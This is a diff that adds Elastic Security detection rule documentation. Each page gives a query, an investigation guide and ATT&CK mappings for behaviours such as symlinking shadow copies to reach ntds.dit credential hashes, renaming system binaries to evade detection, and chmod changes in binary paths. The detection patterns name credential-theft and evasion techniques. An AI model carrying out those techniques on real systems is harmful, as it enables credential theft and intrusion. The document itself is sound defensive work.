also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and process.parent.name:svchost.exe and +process.name:(CMD.EXE or Cmd.exe or cmd.exe) and +process.command_line:(* and not "\"cmd.exe\" /C sc control hptpsmarthealthservice 211") and +not process.args:(".\inetsrv\iissetup.exe /keygen " or "C:\Program" or "C:\Program Files (x86)\Kaspersky Lab\NetworkAgent\klmover.exe" or "C:\Program Files (x86)\Sentry\SA\adluminupdater.exe" or "C:\Program Files\WinRAR" or "C:\Program Files\WinRAR\uninstall.exe" or "hpdiags://BatteryStatusTest" or hptpsmarthealthservice or icacls or taskkill or w32tm or *.BAT* or *.CMD* or *.bat* or *.cmd*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-symbolic-link-to-shadow-copy-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-symbolic-link-to-shadow-copy-created.asciidoc new file mode 100644 index 0000000000..86cdc4ed97 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-symbolic-link-to-shadow-copy-created.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-symbolic-link-to-shadow-copy-created]] +=== Symbolic Link to Shadow Copy Created + +Identifies the creation of symbolic links to a shadow copy. Symbolic links can be used to access files in the shadow copy, including sensitive files such as ntds.dit, System Boot Key and browser offline credentials. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mklink +* https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf +* https://blog.netwrix.com/2021/11/30/extracting-password-hashes-from-the-ntds-dit-file/ +* https://www.hackingarticles.in/credential-dumping-ntds-dit/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Symbolic Link to Shadow Copy Created* + + +Shadow copies are backups or snapshots of an endpoint's files or volumes while they are in use. Adversaries may attempt to discover and create symbolic links to these shadow copies in order to copy sensitive information offline. If Active Directory (AD) is in use, often the ntds.dit file is a target as it contains password hashes, but an offline copy is needed to extract these hashes and potentially conduct lateral movement. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Determine if a volume shadow copy was recently created on this endpoint. +- Review privileges of the end user as this requires administrative access. +- Verify if the ntds.dit file was successfully copied and determine its copy destination. +- Investigate for registry SYSTEM file copies made recently or saved via Reg.exe. +- Investigate recent deletions of volume shadow copies. +- Identify other files potentially copied from volume shadow copy paths directly. + + +*False positive analysis* + + +- This rule should cause very few false positives. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Related rules* + + +- NTDS or SAM Database File Copied - 3bc6deaa-fbd4-433a-ae21-3e892f95624f + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the entire domain or the `krbtgt` user was compromised: + - Activate your incident response plan for total Active Directory compromise which should include, but not be limited to, a password reset (twice) of the `krbtgt` user. +- Locate and remove static files copied from volume shadow copies. +- Command-Line tool mklink should require administrative access by default unless in developer mode. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (?process.pe.original_file_name in ("Cmd.Exe","PowerShell.EXE")) or + (process.name : ("cmd.exe", "powershell.exe")) + ) and + + /* Create Symbolic Link to Shadow Copies */ + process.args : ("*mklink*", "*SymbolicLink*") and process.command_line : ("*HarddiskVolumeShadowCopy*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-and-network-configuration-check.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-and-network-configuration-check.asciidoc new file mode 100644 index 0000000000..35cb0a8271 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-and-network-configuration-check.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-34-system-and-network-configuration-check]] +=== System and Network Configuration Check + +Detects when the SystemConfiguration preferences plist file is accessed by an unusual or suspicious process. This may indicate an attempt to gain situational awareness on a target system by reading network configuration details. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System and Network Configuration Check* + + +This rule flags suspicious processes reading macOS SystemConfiguration preferences, which can reveal network interfaces, DNS settings, and other environment details used to plan lateral movement or data exfiltration. Attackers commonly run scripting runtimes (e.g., Python, AppleScript, Node) or binaries staged in temporary/shared directories to open the preferences plist during early discovery. Catching this access helps identify stealthy reconnaissance before overt network activity begins. + + +*Possible investigation steps* + + +- Identify the parent process and full execution chain for the accessing process, including any script path/arguments, to determine whether it was launched by an interactive user, management tooling, or a suspicious launcher. +- Review the accessing binary’s provenance by checking code signature/notarization status, file hash reputation, and whether it was recently created or executed from temporary/shared directories indicating staging. +- Correlate nearby discovery activity on the host (e.g., reads of other system/network plists, execution of `scutil`, `ifconfig`, `networksetup`, or `defaults read`) to assess whether this is part of a broader reconnaissance sequence. +- Examine concurrent network activity from the same process (outbound connections, DNS lookups, proxy changes) to identify follow-on behavior consistent with environment mapping or command-and-control. +- Validate the behavior against legitimate software on the host (IT management, VPN/endpoint tools, developer workflows) by matching timestamps to user logins, scheduled jobs, and recent installs/updates. + + +*False positive analysis* + + +- A legitimate IT/admin or troubleshooting script run interactively (e.g., a Python/AppleScript wrapper) may read `/Library/Preferences/SystemConfiguration/preferences.plist` to collect network settings during support, onboarding, or diagnostics. +- A developer or automation workflow may execute a temporary or shared-directory runtime (e.g., `node`/`python` unpacked to `/tmp` or `/Users/Shared`) that reads the plist to detect interfaces, DNS, or proxy configuration for environment-aware builds or tests. + + +*Response and remediation* + + +- Isolate the affected Mac from the network and terminate the offending process tree, then quarantine the on-disk script/binary (especially if staged in /tmp, /private/tmp, /var/tmp, or /Users/Shared) to stop further discovery or follow-on execution. +- Collect and preserve artifacts before cleanup, including the suspicious executable/script, its launch mechanism (LaunchAgents/LaunchDaemons, cron, login items), recent shell history, and a copy of /Library/Preferences/SystemConfiguration/preferences.plist metadata for later scoping and forensics. +- Eradicate persistence by removing unauthorized launch entries and deleting the staged payloads, then re-scan the host with EDR/AV and verify no additional suspicious interpreters or unsigned tools remain in temporary/shared directories. +- Recover by rotating credentials used on the host, reviewing and resetting network settings (DNS, proxy, VPN) if changed, and returning the system to service only after repeated checks show no re-creation of the removed artifacts across a full reboot cycle. +- Escalate to incident response immediately if the same process also makes outbound connections, modifies SystemConfiguration plists, or appears on multiple hosts, and initiate enterprise-wide hunting for the file hash and the associated launcher. +- Harden by restricting execution from temporary/shared directories, enforcing signed/notarized code where possible, auditing who can read sensitive configuration files, and adding allowlists for known management tools that legitimately access the preferences plist. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "open" and + file.path like "/Library/Preferences/SystemConfiguration/preferences.plist" and + (process.name like~ ("python*", "osascript", "perl", "ruby", "node") or + process.executable like ("/Users/Shared/*", "/tmp/*", "/private/tmp/*", "/var/tmp/*", "/private/var/tmp/*")) and + not Effective_process.executable like "/Applications/Docker.app/Contents/MacOS/Docker" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-moved-or-copied.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-moved-or-copied.asciidoc new file mode 100644 index 0000000000..b2a7ff56d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-moved-or-copied.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-system-binary-moved-or-copied]] +=== System Binary Moved or Copied + +This rule monitors for the copying or moving of a system binary. Adversaries may copy/move and rename system binaries to evade detection. Copying a system binary to a different location should not occur often, so if it does, the activity should be investigated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 19 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Binary Moved or Copied* + + +System binaries are essential executables in Linux environments, crucial for system operations. Adversaries may move or copy these binaries to alternate locations to evade detection, often renaming them to blend in with legitimate processes. The detection rule identifies unusual movements or copies of these binaries, excluding common system processes and paths, to flag potential malicious activity. This helps in identifying attempts at masquerading, a tactic used to bypass security measures. + + +*Possible investigation steps* + + +- Review the file path and name in the alert to determine if the binary was moved or copied to a suspicious or unusual location, which could indicate an attempt to masquerade. +- Examine the process name and executable path that triggered the alert to identify if it is associated with known legitimate processes or if it appears suspicious or unexpected. +- Check the user account associated with the process to determine if the action was performed by a privileged or unauthorized user, which could suggest malicious intent. +- Investigate the historical activity of the process and user involved to identify any patterns or previous suspicious behavior that might correlate with the current alert. +- Correlate the alert with other security events or logs from the same timeframe to identify any related activities or anomalies that could provide additional context or evidence of malicious activity. + + +*False positive analysis* + + +- System updates and package installations often involve legitimate movement or copying of binaries. Exclude processes like dpkg, rpm, and apt-get from triggering alerts by adding them to the exception list. +- Development and testing environments may frequently rename or move binaries for testing purposes. Consider excluding paths like /tmp or /dev/fd from monitoring if they are commonly used for non-malicious activities. +- Automated scripts or configuration management tools such as Puppet or Chef may move binaries as part of their normal operations. Add these tools to the exception list to prevent unnecessary alerts. +- Temporary files created during software installations or updates, such as those with extensions like .tmp or .dpkg-new, can trigger false positives. Exclude these extensions from monitoring to reduce noise. +- Custom scripts or applications that mimic system processes for legitimate reasons might be flagged. Review and whitelist these specific scripts or applications if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are associated with the unauthorized movement or copying of system binaries. +- Restore any altered or moved system binaries to their original locations and verify their integrity using known good backups or checksums. +- Conduct a thorough review of system logs and the alert details to identify any additional indicators of compromise or related malicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the activity, focusing on the specific paths and processes identified in the alert. +- Review and update access controls and permissions to ensure that only authorized users and processes can modify or move system binaries, reducing the risk of similar incidents in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and process.name in ("cp", "mv") and +file.Ext.original.path : ( + "/bin/*", "/usr/bin/*", "/usr/local/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*" +) and not ( + file.Ext.original.path : ( + "/bin/*.tmp", "/usr/bin/*.tmp", "/usr/local/bin/*.tmp", "/sbin/*.tmp", "/usr/sbin/*.tmp", "/usr/local/sbin/*.tmp" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ("/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/tmp/newroot/*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-path-file-permission-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-path-file-permission-modification.asciidoc new file mode 100644 index 0000000000..7b404df618 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-path-file-permission-modification.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-system-binary-path-file-permission-modification]] +=== System Binary Path File Permission Modification + +This rule identifies file permission modification events on files located in common system binary paths. Adversaries may attempt to hide their payloads in the default Linux system directories, and modify the file permissions of these payloads prior to execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Binary Path File Permission Modification* + + +In Linux environments, system binary paths contain critical executables. Adversaries may exploit these by altering file permissions to execute malicious payloads. The detection rule monitors processes like `chmod` and `chown` in key directories, flagging suspicious permission changes. It excludes benign activities, focusing on unauthorized modifications to prevent potential execution of harmful scripts. + + +*Possible investigation steps* + + +- Review the process details to identify the exact command executed, focusing on the process name and arguments, especially those involving `chmod` or `chown` in critical directories like `/bin`, `/usr/bin`, and `/lib`. +- Examine the parent process information, including the executable path and command line, to determine if the process was initiated by a known or trusted application, excluding those like `udevadm`, `systemd`, or `sudo`. +- Check the user account associated with the process to verify if the action was performed by an authorized user or if there are signs of compromised credentials. +- Investigate the file or directory whose permissions were modified to assess its importance and potential impact, focusing on changes to permissions like `4755`, `755`, or `777`. +- Correlate the event with other security alerts or logs to identify any related suspicious activities, such as unauthorized access attempts or unexpected script executions. +- Review recent changes or updates in the system that might explain the permission modification, ensuring they align with legitimate administrative tasks or software installations. + + +*False positive analysis* + + +- System updates and package installations often involve legitimate permission changes in system binary paths. Users can exclude processes with parent executables located in directories like /var/lib/dpkg/info to reduce noise from these activities. +- Administrative scripts or automation tools may execute chmod or chown commands as part of routine maintenance. Exclude processes with parent names such as udevadm, systemd, or sudo to prevent these from being flagged. +- Container initialization processes might trigger permission changes. Exclude processes with parent command lines like runc init to avoid false positives related to container setups. +- Temporary script executions during software installations can cause permission modifications. Exclude processes with parent arguments matching patterns like /var/tmp/rpm-tmp.* to filter out these benign events. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or execution of malicious payloads. +- Terminate any suspicious processes identified as executing `chmod` or `chown` commands in critical system binary paths. +- Revert any unauthorized file permission changes to their original state to ensure system integrity and prevent execution of malicious scripts. +- Conduct a thorough review of system logs and process execution history to identify any additional unauthorized activities or related threats. +- Escalate the incident to the security operations team for further investigation and to determine if the threat has spread to other systems. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of unauthorized permission modifications. +- Review and update access controls and permissions policies to minimize the risk of unauthorized modifications in critical system directories. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "chmod" and +process.args like ( + "/bin/*", "/usr/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*", "/lib/*", "/usr/lib/*", "/lib64/*", "/usr/lib64/*" +) and +process.args in ("4755", "755", "000", "777", "444", "+x") and not ( + process.args in ( + "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod", "/usr/bin/restic", "/usr/local/bin/ack-tool", "/usr/lib/policykit-1/polkit-agent-helper-1", + "/usr/local/bin/deploy-entrypoint.sh", "/usr/local/bin/mc", "/usr/local/bin/start.sh", "/usr/local/sbin/MySQLBackups/mysql_backup.sh", + "/usr/bin/coreutils", "/usr/bin/docker-compose", "/usr/bin/cri-dockerd", "/usr/sbin/mkfs.ext5", "/usr/bin/cyclonedx", "/usr/bin/distro", + "/usr/bin/telegraf", "/usr/bin/jq", "/usr/bin/google-chrome", "/usr/sbin/login_duo" + ) or + process.args like "/usr/lib/omnissa/*" or + process.parent.executable like ( + "/tmp/newroot/*", "/var/lib/dpkg/*", "/usr/libexec/postfix/post-install", "/kaniko/executor", "./install_viewagent.sh", "/bin/make" + ) or + process.parent.args like ( + "/var/lib/dpkg/*", "/usr/lib/postfix/bin/post-install", "/usr/lib/postfix/sbin/post-install", "/usr/libexec/postfix/post-install", + "./install_viewagent.sh", "/usr/lib/omnissa/*", "/var/tmp/rpm-tmp.*" + ) or + process.parent.name in ("udevadm", "systemd", "entrypoint", "sudo", "dart") or + process.parent.command_line == "runc init" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-symlink-to-suspicious-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-symlink-to-suspicious-location.asciidoc new file mode 100644 index 0000000000..06634b5d90 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-binary-symlink-to-suspicious-location.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-system-binary-symlink-to-suspicious-location]] +=== System Binary Symlink to Suspicious Location + +This rule detects the creation of a symbolic link from a system binary to a suspicious and writable location. This activity may indicate an attacker's attempt to evade detection by behavioral rules that depend on predefined process parent/child relationships. By executing the symlinked variant of a binary instead of the original, the attacker aims to bypass these rules. Through the new_terms rule type, this rule can identify uncommon parent processes that may indicate the presence of a malicious symlink. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Binary Symlink to Suspicious Location* + + +Symbolic links in Linux create shortcuts to files or directories, allowing flexible file management. Adversaries exploit this by linking system binaries to writable, suspicious locations, aiming to bypass security measures that monitor standard execution paths. The detection rule identifies unusual parent processes and symbolic link creation to these locations, flagging potential evasion attempts. + + +*Possible investigation steps* + + +- Review the parent process executable (process.parent.executable) to determine if it is a known and legitimate process that should be creating symbolic links. +- Examine the specific system binary involved (process.args) to verify if it is commonly used in the environment and assess if its redirection to a suspicious location is justified. +- Investigate the destination path of the symbolic link (process.args) to determine if it is a writable and potentially malicious location such as /tmp, /dev/shm, or /var/tmp. +- Check for any recent or concurrent alerts or logs related to the same parent process or destination path to identify potential patterns or repeated attempts. +- Assess the user account associated with the process (if available) to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Correlate with other security tools or logs to identify any additional suspicious activities or anomalies around the time of the alert. + + +*False positive analysis* + + +- Routine system maintenance tasks may create symbolic links in monitored directories. Exclude known maintenance scripts or processes like mkinitcpio and dracut from triggering alerts by adding them to the exception list. +- Software installations or updates often involve creating symbolic links in writable directories. Identify and whitelist trusted installation processes or package managers to prevent unnecessary alerts. +- Development environments may frequently use symbolic links for testing purposes. Consider excluding specific user directories or development tools that are known to create such links regularly. +- Backup or synchronization tools might create symbolic links as part of their operation. Verify and exclude these tools if they are part of a legitimate and routine process. +- Custom scripts or automation tools used within the organization might trigger this 